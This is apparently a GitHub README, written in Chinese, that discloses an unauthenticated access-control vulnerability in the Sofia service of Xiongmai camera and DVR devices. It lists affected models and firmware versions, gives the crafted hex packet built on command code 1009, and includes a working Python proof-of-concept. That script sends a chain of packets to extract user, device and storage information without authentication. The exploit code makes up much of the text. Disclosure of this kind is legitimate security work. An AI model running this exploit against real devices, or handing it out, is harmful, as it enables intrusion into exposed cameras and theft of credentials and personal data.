netsecfish/xiongmai_incorrect_access_control
GitHub: netsecfish/xiongmai_incorrect_access_control
针对雄迈监控设备Sofia服务的未授权访问控制漏洞(CWE-284)提供详细的漏洞分析与Python PoC验证脚本。
Stars: 10 | Forks: 2
# 雄迈设备未授权不当访问控制与命令执行漏洞
## 概述
在一系列雄迈(Xiongmai)硬件产品中发现了一个严重的安全漏洞。该漏洞存在于 Sofia 服务的实现中(默认端口:`34567`),由于不当的访问控制,导致存在未授权命令执行的风险。此漏洞允许攻击者在无需适当身份验证的情况下下发命令,导致未授权访问并可能控制设备功能,对系统的完整性和用户数据的机密性构成了严重的安全威胁,互联网上受此影响的设备超过 39 万台。

## **受影响的设备**
**厂商:** 雄迈(Xiongmai)
**硬件:**
- AHB7804R-MH-V2
- AHB8008T-GL
- AHB8004T-GL
- XM530_R80X30-PQ_8M
- AHB7004T-GS-V3
- AHB8032F-LME
- AHB7004T-MHV2
**软件版本:**
- V4.03.R11.4915714A.12201.142300.0000000
- V4.02.R11.A8531149.10001.131900.00000
- V4.03.R11.4912720B.11201.142300.0000004
- V4.03.R11.4912720D.11201.142300.0000004
- V5.00.R02.00030751.10010.348717.0000000
- V4.02.R11.C6380171.11201.141900.00000
- V4.03.R11.0000020X.11201.042300.0000005
- V4.02.R11.24340142.10001.131900.00000
## CWE
CWE-284(不当的访问控制)
## **漏洞详情**
该漏洞通过向设备发送包含未公开命令码(**`1009`**)的特制数据包触发。该数据包绕过了标准的身份验证机制,授予攻击者未授权访问权限。
- **请求数据包**:攻击向量为一个以标准化报头 `ff00000000000000000000000000` 开头的数据包,其后跟着命令码 `f103`(`1009` 的小端序十六进制表示),以及包含操作成功指示的 Payload `{ "Ret" : 100, "SessionID" : "0x0" }`。该数据包在处理过程中似乎不需要任何身份验证或校验,从而导致了该漏洞的发生。
```
ff00000000000000000000000000f103250000007b202252657422203a203130302c202253657373696f6e494422203a202230783022207d0a
```
## PoC
以下 Python 脚本演示了该漏洞的利用过程:
值得注意的是,在正常操作条件下,访问请求敏感信息(如用户信息、系统信息和存储信息)的命令需要经过适当的身份验证和授权。然而,**发现的该漏洞规避了这些安全措施,允许攻击者在未进行任何身份验证的情况下发送命令数据包。**
```
import socket
import socks # PySocks
import json
HOST = 'Target_IP_Address'
PORT = 34567
print('Target: '+str(HOST)+":"+str(PORT))
# 定义要按顺序发送的命令
commands = [
'ff00000000000000000000000000f103250000007b202252657422203a203130302c202253657373696f6e494422203a202230783022207d0aff00000000000000000000000000ac05300000007b20224e616d6522203a20224f5054696d655175657279222c202253657373696f6e494422203a202230783022207d0a', # Initial command
'ff00000000000000000000000000ee032e0000007b20224e616d6522203a20224b656570416c697665222c202253657373696f6e494422203a202230783022207d0a', # KeepAlive
'ff00000000000000000000000000c00500000000', # Users Information
'ff00000000000000000000000000fc032f0000007b20224e616d6522203a202253797374656d496e666f222c202253657373696f6e494422203a202230783022207d0a', # Device Information
'ff00000000000000000000000000fc03300000007b20224e616d6522203a202253746f72616765496e666f222c202253657373696f6e494422203a202230783022207d0a', # Storage Information
]
def send_data(s, data):
binary_data = bytes.fromhex(data)
s.sendall(binary_data)
def recv_all(s):
s.settimeout(10.0)
data = b''
while True:
try:
part = s.recv(1024)
data += part
if part.endswith(b'\x0a\x00'):
break
except socket.timeout:
break
return data
def process_commands(socket, commands):
for command in commands:
send_data(socket, command)
response = recv_all(socket)
print("response\n", response)
if b'"Ret" : 100' not in response:
print("Not meet the expected condition, stopping...")
break
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(10)
s.connect((HOST, PORT))
process_commands(s, commands)
```
具体而言,此脚本演示了攻击者如何利用一系列命令在未经授权的情况下操纵设备设置或提取敏感信息。
[pocCheck3-en.py](pocCheck3-en.py)
## 漏洞利用
### 样本 1
AHB7804R-MH-V2
V4.03.R11.4915714A.12201.142300.0000000

**PCAP 文件:**


### 样本 2
AHB7804R-MH-V2
V4.02.R11.A8531149.10001.131900.00000

### 样本 3
AHB8008T-GL
V4.03.R11.4912720B.11201.142300.0000004

### 样本 4
AHB8004T-GL
V4.03.R11.4912720D.11201.142300.0000004

### 样本 5
AHB8004T-GL
V4.03.R11.4912720D.11201.142300.0000004

### 样本 6
XM530_R80X30-PQ_8M
V5.00.R02.00030751.10010.348717.0000000

### 样本 7
AHB7004T-GS-V3
V4.02.R11.C6380171.11201.141900.00000

### 样本 8
AHB8032F-LME
V4.03.R11.0000020X.11201.042300.0000005

### 样本 9
AHB7004T-MHV2
V4.02.R11.24340142.10001.131900.00000

## 影响
利用此漏洞可能允许攻击者在受影响的设备上执行未授权操作,可能导致信息泄露、设备被操控或服务中断。
## 修复建议
排查并修补固件,以确保针对授权命令列表对命令码进行严格的验证。
标签:CISA项目, CWE-284, IoT漏洞, PoC, RCE, Sofia服务, Xiongmai, 协议分析, 命令执行, 安全漏洞, 安防摄像头, 暴力破解, 未授权访问, 权限控制不当, 权限提升, 漏洞分析, 物联网安全, 监控设备, 编程工具, 网络摄像头, 路径探测, 远程代码执行, 逆向工具, 雄迈科技